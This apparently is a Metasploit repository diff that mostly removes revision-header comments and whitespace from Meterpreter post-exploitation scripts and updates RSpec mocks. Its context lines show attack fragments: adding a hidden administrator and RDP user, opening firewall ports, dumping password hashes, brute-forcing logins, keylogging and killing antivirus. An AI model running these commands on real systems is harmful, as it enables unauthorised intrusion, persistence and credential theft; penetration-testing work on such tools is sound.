-1,7 +1,3 @@ -## -# $Id$ -# $Revision: $ -## require "rexml/document" @@ -90,7 +86,7 @@ def extract_saved_creds(path,xml_file) print_status "\tUser: #{e.elements["User"].text}" creds << "User: #{e.elements["User"].text}" end - + proto = e.elements["Protocol"].text if proto == "0" print_status "\tProtocol: FTP" @@ -109,14 +105,14 @@ def extract_saved_creds(path,xml_file) creds << "" end -# +# return creds end #------------------------------------------------------------------------------- #Function to enumerate the users if running as SYSTEM def enum_users(os) users = [] - + path4users = "" sysdrv = @client.fs.file.expand_path("%SystemDrive%") diff --git a/scripts/meterpreter/get_local_subnets.rb b/scripts/meterpreter/get_local_subnets.rb index dec55fa353..3622811d57 100644 --- a/scripts/meterpreter/get_local_subnets.rb +++ b/scripts/meterpreter/get_local_subnets.rb @@ -1,6 +1,3 @@ -# $Id$ -# $Revision$ - # Meterpreter script that display local subnets # Provided by Nicob # Ripped from http://blog.metasploit.com/2006/10/meterpreter-scripts-and-msrt.html diff --git a/scripts/meterpreter/get_pidgin_creds.rb b/scripts/meterpreter/get_pidgin_creds.rb index 2b47353a13..77cbe3c649 100644 --- a/scripts/meterpreter/get_pidgin_creds.rb +++ b/scripts/meterpreter/get_pidgin_creds.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- require "rexml/document" @@ -145,7 +143,7 @@ end #Function to enumerate the users if running as SYSTEM def enum_users(os) users = [] - + path4users = "" sysdrv = @client.fs.file.expand_path("%SystemDrive%") diff --git a/scripts/meterpreter/get_valid_community.rb b/scripts/meterpreter/get_valid_community.rb index b08df8b9de..6802176f10 100644 --- a/scripts/meterpreter/get_valid_community.rb +++ b/scripts/meterpreter/get_valid_community.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ #copied getvncpw - thanks grutz/carlos @@ -15,7 +13,7 @@ def usage() end def get_community(session) - key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities" + key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities" root_key, base_key = session.sys.registry.splitkey(key) open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ) begin @@ -37,7 +35,7 @@ end if client.platform =~ /win32|win64/ print_status("Searching for community strings...") strs = get_community(session) - if strs + if strs strs.each do |str| print_good("FOUND: #{str}") @client.framework.db.report_auth_info( @@ -50,7 +48,7 @@ if client.platform =~ /win32|win64/ :type => "snmp.community", :duplicate_ok => true ) - end + end else print_status("Not found") end diff --git a/scripts/meterpreter/getcountermeasure.rb b/scripts/meterpreter/getcountermeasure.rb index ce0ad27824..51a3200d30 100644 --- a/scripts/meterpreter/getcountermeasure.rb +++ b/scripts/meterpreter/getcountermeasure.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # # Meterpreter script for detecting AV, HIPS, Third Party Firewalls, DEP Configuration and Windows Firewall configuration. # Provides also the option to kill the processes of detected products and disable the built-in firewall. @@ -177,7 +175,7 @@ avs = %W{ oasclnt.exe ofcdog.exe opscan.exe - ossec-agent.exe + ossec-agent.exe outpost.exe paamsrv.exe pavfnsvr.exe diff --git a/scripts/meterpreter/getgui.rb b/scripts/meterpreter/getgui.rb index 59826d0f46..f027423a46 100644 --- a/scripts/meterpreter/getgui.rb +++ b/scripts/meterpreter/getgui.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -67,7 +65,7 @@ def enabletssrv() file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"") cmd_exec("sc start termservice") file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc stop termservice\"") - + else print_status "\tTerminal Services service is already set to auto" end @@ -83,7 +81,7 @@ end def addrdpusr(session, username, password) - + rdu = resolve_sid("S-1-5-32-555")[:name] admin = resolve_sid("S-1-5-32-544")[:name] @@ -100,7 +98,7 @@ def addrdpusr(session, username, password) file_local_write(@dest,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}") print_status "\tAdding User: #{username} to local group '#{rdu}'" cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add") - + print_status "\tAdding User: #{username} to local group '#{admin}'" cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add") print_status "You can now login with the created user" diff --git a/scripts/meterpreter/gettelnet.rb b/scripts/meterpreter/gettelnet.rb index a65c4120d0..0604f40eb6 100644 --- a/scripts/meterpreter/gettelnet.rb +++ b/scripts/meterpreter/gettelnet.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -60,7 +58,7 @@ def insttlntsrv() end file_local_write(@dest,"execute -H -f cmd.exe -a \"/c ocsetup TelnetServer /uninstall\"") print_status("Finished installing the Telnet Service.") - + end elsif trgtos =~ /2003/ file_local_write(@dest,"reg setval -k \"HKLM\\SYSTEM\\CurrentControlSet\\services\\TlntSvr\\\" -v 'Start' -d \"1\"") @@ -85,7 +83,7 @@ def enabletlntsrv() # Enabling Exception on the Firewall print_status "\tOpening port in local firewall if necessary" cmd_exec('netsh firewall set portopening protocol = tcp port = 23 mode = enable') - + rescue::Exception => e print_status("The following Error was encountered: #{e.class} #{e}") end diff --git a/scripts/meterpreter/getvncpw.rb b/scripts/meterpreter/getvncpw.rb index 2bbefb1caf..21484313c4 100644 --- a/scripts/meterpreter/getvncpw.rb +++ b/scripts/meterpreter/getvncpw.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ #---------------------------------------------------------------- # Meterpreter script to obtain the VNC password out of the # registry and print its decoded cleartext diff --git a/scripts/meterpreter/hashdump.rb b/scripts/meterpreter/hashdump.rb index 3f2fcb8471..2ab37157fc 100644 --- a/scripts/meterpreter/hashdump.rb +++ b/scripts/meterpreter/hashdump.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # # Implement pwdump (hashdump) through registry reads + syskey @@ -101,14 +99,14 @@ def capture_user_keys users[usr.to_i(16)] ||={} users[usr.to_i(16)][:F] = uk.query_value("F").data users[usr.to_i(16)][:V] = uk.query_value("V").data - + #Attempt to get Hints (from Win7/Win8 Location) begin users[usr.to_i(16)][:UserPasswordHint] = decode_windows_hint(uk.query_value("UserPasswordHint").data.unpack("H*")[0]) rescue ::Rex::Post::Meterpreter::RequestError users[usr.to_i(16)][:UserPasswordHint] = nil end - + uk.close end ok.close @@ -120,9 +118,9 @@ def capture_user_keys rid = r.type users[rid] ||= {} users[rid][:Name] = usr - + #Attempt to get Hints (from WinXP Location) only if it's not set yet - if users[rid][:UserPasswordHint].nil? + if users[rid][:UserPasswordHint].nil? begin uk_hint = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\#{usr}", KEY_READ) users[rid][:UserPasswordHint] = uk_hint.query_value("").data @@ -130,7 +128,7 @@ def capture_user_keys users[rid][:UserPasswordHint] = nil end end - + uk.close end ok.close @@ -262,9 +260,9 @@ if client.platform =~ /win32|win64/ if !users[rid][:UserPasswordHint].nil? && users[rid][:UserPasswordHint].length > 0 print_line "#{users[rid][:Name]}:\"#{users[rid][:UserPasswordHint]}\"" hint_count += 1 - end + end end - print_line("No users with password hints on this system") if hint_count == 0 + print_line("No users with password hints on this system") if hint_count == 0 print_line() print_status("Dumping password hashes...") @@ -280,9 +278,9 @@ if client.platform =~ /win32|win64/ :pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0], :type => "smb_hash" ) - + print_line hashstring - + end print_line() print_line() @@ -298,4 +296,4 @@ if client.platform =~ /win32|win64/ else print_error("This version of Meterpreter is not supported with this Script!") raise Rex::Script::Completed -end \ No newline at end of file +end diff --git a/scripts/meterpreter/hostsedit.rb b/scripts/meterpreter/hostsedit.rb index ba4f2223f3..c54bd4c67b 100644 --- a/scripts/meterpreter/hostsedit.rb +++ b/scripts/meterpreter/hostsedit.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Meterpreter script for modifying the hosts file in windows # given a single entrie or several in a file and clear the # DNS cache on the target machine. diff --git a/scripts/meterpreter/keylogrecorder.rb b/scripts/meterpreter/keylogrecorder.rb index 11bce12b62..ae6316f6a5 100644 --- a/scripts/meterpreter/keylogrecorder.rb +++ b/scripts/meterpreter/keylogrecorder.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com # Updates by Shellster #------------------------------------------------------------------------------- @@ -75,7 +73,7 @@ def explrmigrate(session,captype,lock,kill) print_status("\t#{process2mig} Process found, migrating into #{x['pid']}") session.core.migrate(x['pid'].to_i) print_status("Migration Successful!!") - + if (kill) begin print_status("Killing old process") @@ -149,7 +147,7 @@ def keycap(session, keytime, logfile) rec = 1 #Creating DB for captured keystrokes file_local_write(logfile,"") - + print_status("Keystrokes being saved in to #{logfile}") #Inserting keystrokes every number of seconds specified print_status("Recording ") @@ -187,7 +185,7 @@ kill = false when "-l" lock = true when "-k" - kill = true + kill = true end } if client.platform =~ /win32|win64/ diff --git a/scripts/meterpreter/killav.rb b/scripts/meterpreter/killav.rb index a631f01f1f..60ac0f5c70 100644 --- a/scripts/meterpreter/killav.rb +++ b/scripts/meterpreter/killav.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # # Meterpreter script that kills all Antivirus processes # Provided by: Jerome Athias diff --git a/scripts/meterpreter/metsvc.rb b/scripts/meterpreter/metsvc.rb index 46baa8eac4..fe56c49f72 100644 --- a/scripts/meterpreter/metsvc.rb +++ b/scripts/meterpreter/metsvc.rb @@ -1,6 +1,3 @@ -# $Id$ -# $Revision$ - # # Meterpreter script for installing the meterpreter service # diff --git a/scripts/meterpreter/migrate.rb b/scripts/meterpreter/migrate.rb index 8d8776e51f..1444226ee0 100644 --- a/scripts/meterpreter/migrate.rb +++ b/scripts/meterpreter/migrate.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # # Simple example script that migrates to a specific process by name. # This is meant as an illustration. diff --git a/scripts/meterpreter/multi_console_command.rb b/scripts/meterpreter/multi_console_command.rb index 7fe7850a33..4d19828ba9 100644 --- a/scripts/meterpreter/multi_console_command.rb +++ b/scripts/meterpreter/multi_console_command.rb @@ -1,10 +1,8 @@ -# $Id$ # # Meterpreter script for running multiple console commands on a meterpreter session # Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com # Verion: 0.1 # -# $Revision$ ################## Variable Declarations ################## @client = client @@ -48,7 +46,7 @@ end ################## Main ################## @@exec_opts.parse(args) { |opt, idx, val| case opt - + when "-cl" commands = val.split(",") when "-rc" @@ -60,7 +58,7 @@ end commands << line.chomp end end - + when "-h" help = 1 end diff --git a/scripts/meterpreter/multi_meter_inject.rb b/scripts/meterpreter/multi_meter_inject.rb index f37e2822a9..d6f6974ed7 100644 --- a/scripts/meterpreter/multi_meter_inject.rb +++ b/scripts/meterpreter/multi_meter_inject.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/multicommand.rb b/scripts/meterpreter/multicommand.rb index 707b292bef..53f82eddb5 100644 --- a/scripts/meterpreter/multicommand.rb +++ b/scripts/meterpreter/multicommand.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ #Meterpreter script for running multiple commands on Windows 2003, Windows Vista # and Windows XP and Windows 2008 targets. #Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com diff --git a/scripts/meterpreter/multiscript.rb b/scripts/meterpreter/multiscript.rb index c798ca1452..01cfaf6791 100644 --- a/scripts/meterpreter/multiscript.rb +++ b/scripts/meterpreter/multiscript.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ #Meterpreter script for running multiple scripts on a Meterpreter Session #Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com #Verion: 0.2 diff --git a/scripts/meterpreter/netenum.rb b/scripts/meterpreter/netenum.rb index 643b114fdf..f3cb4c31a5 100644 --- a/scripts/meterpreter/netenum.rb +++ b/scripts/meterpreter/netenum.rb @@ -125,7 +125,6 @@ def reverselookup(session, iprange, dest) end rescue ::Exception => e print_status("The following error was encountered: #{e.class} #{e}") - end end @@ -220,7 +219,6 @@ def pingsweep(session, iprange, dest) end rescue ::Exception => e print_status("The following error was encountered: #{e.class} #{e}") - end end #------------------------------------------------------------------------------- diff --git a/scripts/meterpreter/persistence.rb b/scripts/meterpreter/persistence.rb index 3c9b52aae8..948f4fbd6a 100644 --- a/scripts/meterpreter/persistence.rb +++ b/scripts/meterpreter/persistence.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/powerdump.rb b/scripts/meterpreter/powerdump.rb index 772efa94b1..e46d542466 100644 --- a/scripts/meterpreter/powerdump.rb +++ b/scripts/meterpreter/powerdump.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # # Meterpreter script for utilizing purely PowerShell to extract username and password hashes through registry # keys. This script requires you to be running as system in order to work properly. This has currently been diff --git a/scripts/meterpreter/prefetchtool.rb b/scripts/meterpreter/prefetchtool.rb index 8dc99dfffe..d299868ebc 100644 --- a/scripts/meterpreter/prefetchtool.rb +++ b/scripts/meterpreter/prefetchtool.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ #Meterpreter script for extracting information from windows prefetch folder #Provided by Milo at keith.lee2012[at]gmail.com #Verion: 0.1.0 diff --git a/scripts/meterpreter/remotewinenum.rb b/scripts/meterpreter/remotewinenum.rb index 71721d1009..873d989682 100644 --- a/scripts/meterpreter/remotewinenum.rb +++ b/scripts/meterpreter/remotewinenum.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -62,7 +60,7 @@ def wmicexec(session,wmic,user,pass,trgt) tmp = session.fs.file.expand_path("%TEMP%") # Temporary file on windows host to store results wmicfl = tmp + "\\wmictmp#{rand(100000)}.txt" - + wmic.each do |wmi| if user == nil print_status("The commands will be ran under the credentials of #{runningas}") diff --git a/scripts/meterpreter/scheduleme.rb b/scripts/meterpreter/scheduleme.rb index 549d77f80d..7134005e98 100644 --- a/scripts/meterpreter/scheduleme.rb +++ b/scripts/meterpreter/scheduleme.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ #Meterpreter script for automating the most common scheduling tasks #during a pentest. This script will use the schtasks command so as diff --git a/scripts/meterpreter/schelevator.rb b/scripts/meterpreter/schelevator.rb index b8081f7c3d..f10648d989 100644 --- a/scripts/meterpreter/schelevator.rb +++ b/scripts/meterpreter/schelevator.rb @@ -1,8 +1,3 @@ -## -# $Id$ -# $Revision$ -## - ## # # This script exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet @@ -255,7 +250,7 @@ def fix_crc32(data, old_crc) crc = crc32(data[0, data.length - 12]) data[-12, 4] = [crc].pack('V') - + data[-12, 12].unpack('C*').reverse.each { |b| old_crc = ((old_crc << 8) ^ bwd_table[old_crc >> 24] ^ b) & 0xffffffff } diff --git a/scripts/meterpreter/schtasksabuse.rb b/scripts/meterpreter/schtasksabuse.rb index 12d0318911..064e41602d 100644 --- a/scripts/meterpreter/schtasksabuse.rb +++ b/scripts/meterpreter/schtasksabuse.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ #Meterpreter script for abusing the scheduler service in windows #by scheduling and running a list of command against one or more targets diff --git a/scripts/meterpreter/scraper.rb b/scripts/meterpreter/scraper.rb index b7d017490b..b94515ed72 100644 --- a/scripts/meterpreter/scraper.rb +++ b/scripts/meterpreter/scraper.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # This is a Meterpreter script designed to be used by the Metasploit Framework # # The goal of this script is to obtain system information from a victim through diff --git a/scripts/meterpreter/screen_unlock.rb b/scripts/meterpreter/screen_unlock.rb index c6e51123ce..20827248aa 100644 --- a/scripts/meterpreter/screen_unlock.rb +++ b/scripts/meterpreter/screen_unlock.rb @@ -1,14 +1,10 @@ # -# $Id$ -# # Script to unlock a windows screen by L4teral # Needs system prvileges to run and known signatures for the target system. # This script patches msv1_0.dll loaded by lsass.exe # # Based on the winlockpwn tool released by Metlstorm: http://www.storm.net.nz/projects/16 # -# $Revision$ -# revert = false targets = [ diff --git a/scripts/meterpreter/screenspy.rb b/scripts/meterpreter/screenspy.rb index 86e841203c..4105efbc79 100644 --- a/scripts/meterpreter/screenspy.rb +++ b/scripts/meterpreter/screenspy.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com # # Thie script will open an interactive view of remote hosts diff --git a/scripts/meterpreter/search_dwld.rb b/scripts/meterpreter/search_dwld.rb index 9562457d46..05b39c3fe5 100644 --- a/scripts/meterpreter/search_dwld.rb +++ b/scripts/meterpreter/search_dwld.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ ## Meterpreter script that recursively search and download ## files matching a given pattern diff --git a/scripts/meterpreter/service_manager.rb b/scripts/meterpreter/service_manager.rb index c2c3fcd803..6022334a4c 100644 --- a/scripts/meterpreter/service_manager.rb +++ b/scripts/meterpreter/service_manager.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez [ false,"Help menu." ] ) diff --git a/scripts/meterpreter/virusscan_bypass.rb b/scripts/meterpreter/virusscan_bypass.rb index 33508b76e5..7943288655 100644 --- a/scripts/meterpreter/virusscan_bypass.rb +++ b/scripts/meterpreter/virusscan_bypass.rb @@ -1,6 +1,3 @@ -# $Id$ -# $Revision$ - # Meterpreter script that kills Mcafee VirusScan Enterprise v8.7.0i+ processes in magic # order which keeps VirusScan icon visible at system tray without disabled sign on it. # Additionally it lets you disable On Access Scanner from registry, upload your detectable diff --git a/scripts/meterpreter/vnc.rb b/scripts/meterpreter/vnc.rb index 9e9795b937..42b3ddb67f 100644 --- a/scripts/meterpreter/vnc.rb +++ b/scripts/meterpreter/vnc.rb @@ -1,6 +1,3 @@ -# $Id$ -# $Revision$ - # # Meterpreter script for obtaining a quick VNC session # diff --git a/scripts/meterpreter/webcam.rb b/scripts/meterpreter/webcam.rb index 5111081670..f6e65ba5d6 100644 --- a/scripts/meterpreter/webcam.rb +++ b/scripts/meterpreter/webcam.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: scriptjunkie # # Simplify running webcam, whether grabbing a single frame or running diff --git a/scripts/meterpreter/win32-sshclient.rb b/scripts/meterpreter/win32-sshclient.rb index 1ce149edc3..f8c97c6bd3 100644 --- a/scripts/meterpreter/win32-sshclient.rb +++ b/scripts/meterpreter/win32-sshclient.rb @@ -1,7 +1,3 @@ -# win32-sshclient.rb -# -# $Id$ -# $Revision$ # # Meterpreter script to deploy & run the "plink" commandline ssh-client # supports only MS-Windows-2k/XP/Vista Hosts @@ -154,7 +150,7 @@ downloaded = nil usage end rhost = val - + when "-f" if !val print_error("-f requires an argument !") @@ -166,14 +162,14 @@ downloaded = nil usage end manual = true - + when "-r" if !val print_error("-r requires an argument !") usage end hostkey = val - + when "-p" rport = val.to_i @@ -323,7 +319,7 @@ if not manual plinkexe = Net::HTTP.get URI.parse(plinkurl) File.open(plink, "wb") { |fd| fd.write(plinkexe) } print_status("plink.exe has been downloaded to #{plink} (local machine). Please remove manually after use or keep for reuse.") - downloaded = true + downloaded = true end end diff --git a/scripts/meterpreter/win32-sshserver.rb b/scripts/meterpreter/win32-sshserver.rb index 902b85d893..56232b6227 100644 --- a/scripts/meterpreter/win32-sshserver.rb +++ b/scripts/meterpreter/win32-sshserver.rb @@ -1,7 +1,3 @@ -# win32-sshserver.rb -# -# $Id$ -# $Revision$ # # meterpreter-script to deploy + run OpenSSH # on the target machine @@ -95,10 +91,10 @@ type = "auto" # @@exec_opts.parse(args) { |opt, idx, val| case opt - + when "-h" usage - + when "-f" if !val print_error("-f requires the SFX-filename as argument !") @@ -110,14 +106,14 @@ type = "auto" usage end manual = true - + when "-U" if !val print_error("-U requires the download-URL for the OpenSSH-SFX as argument !") usage end downloadurl = val - + when "-p" if !val print_error("-p requires the password (for the windows-user to add) as argument !") @@ -128,47 +124,47 @@ type = "auto" usage end password = val - + when "-u" if !val print_error("-u requires the username (for the windows-user to add) as argument!") usage end username = val - + when "-r" uninstall = true - + when "-I" if !val print_error("-I requires a directory-name to use as installpath") usage end dirname = val - + when "-F" forced = true - + when "-S" if !val print_error("-S requires s custom string to use as the service-description") usage end servicedesc = val - + when "-N" if !val print_error("-N requires a custom string to use as service-name") usage end servicename = val - + when "-m" noauto = true - + when "-t" type = manual - + else print_error("Unknown option: #{opt}") usage @@ -332,7 +328,7 @@ unless username == "none" print_error("You need to provide a nonempty password for the user with the \"-p\"-parameter!") usage end - + #Get localized name for windows-admin-grp admingrpname = nil client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkgroup.exe -l > #{dirname}\\groupnames.txt") diff --git a/scripts/meterpreter/winbf.rb b/scripts/meterpreter/winbf.rb index 3cc3ae5af3..abc351b7b7 100644 --- a/scripts/meterpreter/winbf.rb +++ b/scripts/meterpreter/winbf.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -85,7 +83,7 @@ def passbf(session,passlist,target,user,opt,logfile) ::File.open(passlist, "r").each_line do |line| begin print_status("Trying #{u.chomp} #{line.chomp}") - + # Command for testing local login credentials r = session.sys.process.execute("cmd /c net use \\\\#{target} #{line.chomp} /u:#{u.chomp}", nil, {'Hidden' => true, 'Channelized' => true}) while(d = r.channel.read) @@ -93,7 +91,7 @@ def passbf(session,passlist,target,user,opt,logfile) end r.channel.close r.close - + # Checks if password is found result = output.to_s.scan(/The\scommand\scompleted\ssuccessfully/) if result.length == 1 @@ -158,12 +156,12 @@ unsupported if client.platform !~ /win32|win64/i when "-L" userlist = val ulopt = 1 - + when "-cp" chkpolicy(session) exit when "-p" - + passlist = val if not ::File.exists?(passlist) raise "Password File does not exists!" @@ -176,7 +174,7 @@ unsupported if client.platform !~ /win32|win64/i @@exec_opts.usage) helpcall = 1 end - + } # Execution of options selected diff --git a/scripts/meterpreter/wmic.rb b/scripts/meterpreter/wmic.rb index b91b553545..d01bc01d57 100644 --- a/scripts/meterpreter/wmic.rb +++ b/scripts/meterpreter/wmic.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ #Meterpreter script for running WMIC commands on Windows 2003, Windows Vista # and Windows XP and Windows 2008 targets. #Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com diff --git a/scripts/shell/migrate.rb b/scripts/shell/migrate.rb index 327fef8a3a..c44c7780f9 100644 --- a/scripts/shell/migrate.rb +++ b/scripts/shell/migrate.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # # Simply print a message that migrating is not supported on CommandShell sessions... # diff --git a/scripts/shell/spawn_meterpreter.rb b/scripts/shell/spawn_meterpreter.rb index e6fa404769..b7b3c11b55 100644 --- a/scripts/shell/spawn_meterpreter.rb +++ b/scripts/shell/spawn_meterpreter.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # # Spawn a meterpreter session using an existing command shell session # diff --git a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb index f851f48794..51f8b6f399 100644 --- a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb +++ b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb @@ -82,7 +82,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do end it 'should yield #connection' do - connection = mock('Connection') + connection = double('Connection') connection_pool.stub(:connection => connection) expect { |block| diff --git a/spec/lib/msf/core/exe/segment_injector_spec.rb b/spec/lib/msf/core/exe/segment_injector_spec.rb new file mode 100644 index 0000000000..e5a4e9181a --- /dev/null +++ b/spec/lib/msf/core/exe/segment_injector_spec.rb @@ -0,0 +1,92 @@ +require 'spec_helper' +require 'msf/core/exe/segment_injector' + +describe Msf::Exe::SegmentInjector do + + let(:opts) do + option_hash = { + :template => File.join(File.dirname(__FILE__), "..", "..", "..", "..", "..", "data", "templates", "template_x86_windows.exe"), + :payload => "\xd9\xeb\x9b\xd9\x74\x24", + :arch => :x86 + } + end + subject(:injector) { Msf::Exe::SegmentInjector.new(opts) } + + it { should respond_to :payload } + it { should respond_to :template } + it { should respond_to :arch } + it { should respond_to :processor } + it { should respond_to :buffer_register } + + it 'should return the correct processor for the arch' do + injector.processor.class.should == Metasm::Ia32 + injector.arch = :x64 + injector.processor.class.should == Metasm::X86_64 + end + + context '#payload_as_asm' do + it 'should return the payload as declare byte instructions' do + injector.payload_as_asm.should == "db 0xd9\ndb 0xeb\ndb 0x9b\ndb 0xd9\ndb 0x74\ndb 0x24\n" + end + end + + context '#create_thread_stub' do + it 'should use edx as a default buffer register' do + injector.buffer_register.should == 'edx' + end + + context 'when given a non-default buffer register' do + let(:opts) do + option_hash = { + :template => File.join(File.dirname(__FILE__), "..", "..", "..", "..", "..", "data", "templates", "template_x86_windows.exe"), + :payload => "\xd9\xeb\x9b\xd9\x74\x24", + :arch => :x86, + :buffer_register => 'eax' + } + end + it 'should use the correct buffer register' do + injector.buffer_register.should == 'eax' + end + end + + it 'should set a buffer register for the payload' do + injector.create_thread_stub.should include('lea edx, [thread_hook]') + end + end + + describe '#generate_pe' do + it 'should return a string' do + injector.generate_pe.kind_of?(String).should == true + end + + it 'should produce a valid PE exe' do + expect {Metasm::PE.decode(injector.generate_pe) }.to_not raise_exception + end + + context 'the generated exe' do + let(:exe) { Metasm::PE.decode(injector.generate_pe) } + it 'should be the propper arch' do + exe.bitsize.should == 32 + end + + it 'should have 5 sections' do + exe.sections.count.should == 5 + end + + it 'should have all the right section names' do + s_names = [] + exe.sections.collect {|s| s_names << s.name} + s_names.should == [".text", ".rdata", ".data", ".rsrc", ".text"] + end + + it 'should have the last section set to RWX' do + exe.sections.last.characteristics.should == ["CONTAINS_CODE", "MEM_EXECUTE", "MEM_READ", "MEM_WRITE"] + end + + it 'should have an entrypoint that points to the last section' do + exe.optheader.entrypoint.should == exe.sections.last.virtaddr + end + end + end +end + diff --git a/spec/lib/msf/core/exploit/http/server_spec.rb b/spec/lib/msf/core/exploit/http/server_spec.rb index 4aed0c7d0e..e2d4c358e5 100644 --- a/spec/lib/msf/core/exploit/http/server_spec.rb +++ b/spec/lib/msf/core/exploit/http/server_spec.rb @@ -15,7 +15,7 @@ describe Msf::Exploit::Remote::HttpServer do end let(:mock_service) do - mock_service = mock("service") + mock_service = double("service") mock_service.stub(:server_name=) mock_service.stub(:add_resource) diff --git a/spec/lib/msf/core/modules/loader/archive_spec.rb b/spec/lib/msf/core/modules/loader/archive_spec.rb index a516ba67ff..c65409261d 100644 --- a/spec/lib/msf/core/modules/loader/archive_spec.rb +++ b/spec/lib/msf/core/modules/loader/archive_spec.rb @@ -24,7 +24,7 @@ describe Msf::Modules::Loader::Archive do end let(:framework) do - mock('Framework') + double('Framework') end let(:module_extension) do diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index 123446cf2c..916b23d0ae 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -122,7 +122,7 @@ describe Msf::Modules::Loader::Base do context 'loader' do it 'should be a read/write attribute' do - loader = mock('Loader') + loader = double('Loader') namespace_module.loader = loader namespace_module.loader.should == loader @@ -133,7 +133,7 @@ describe Msf::Modules::Loader::Base do it 'should capture the lexical scope' do expect { namespace_module.module_eval_with_lexical_scope(module_content, module_path) - }.to_not raise_error(NameError) + }.to_not raise_error end context 'with malformed module content' do @@ -155,7 +155,7 @@ describe Msf::Modules::Loader::Base do context 'parent_path' do it 'should be a read/write attribute' do - parent_path = mock('Parent Path') + parent_path = double('Parent Path') namespace_module.parent_path = parent_path namespace_module.parent_path.should == parent_path @@ -221,7 +221,7 @@ describe Msf::Modules::Loader::Base do context 'instance methods' do let(:module_manager) do - mock('Module Manager', :module_load_error_by_path => {}) + double('Module Manager', :module_load_error_by_path => {}) end subject do @@ -317,7 +317,7 @@ describe Msf::Modules::Loader::Base do module_manager.stub(:delete).with(module_reference_name) module_manager.stub(:file_changed?).with(module_path).and_return(true) - module_set = mock('Module Set') + module_set = double('Module Set') module_set.stub(:delete).with(module_reference_name) module_manager.stub(:module_set).with(type).and_return(module_set) end @@ -372,11 +372,11 @@ describe Msf::Modules::Loader::Base do context 'with errors from namespace_module_eval_with_lexical_scope' do before(:each) do - @namespace_module = mock('Namespace Module') + @namespace_module = double('Namespace Module') @namespace_module.stub(:parent_path=) subject.stub(:namespace_module_transaction).and_yield(@namespace_module) - module_content = mock('Module Content', :empty? => false) + module_content = double('Module Content', :empty? => false) subject.stub(:read_module_content).and_return(module_content) end @@ -471,11 +471,11 @@ describe Msf::Modules::Loader::Base do context 'without module_eval errors' do before(:each) do - @namespace_module = mock('Namespace Module') + @namespace_module = double('Namespace Module') 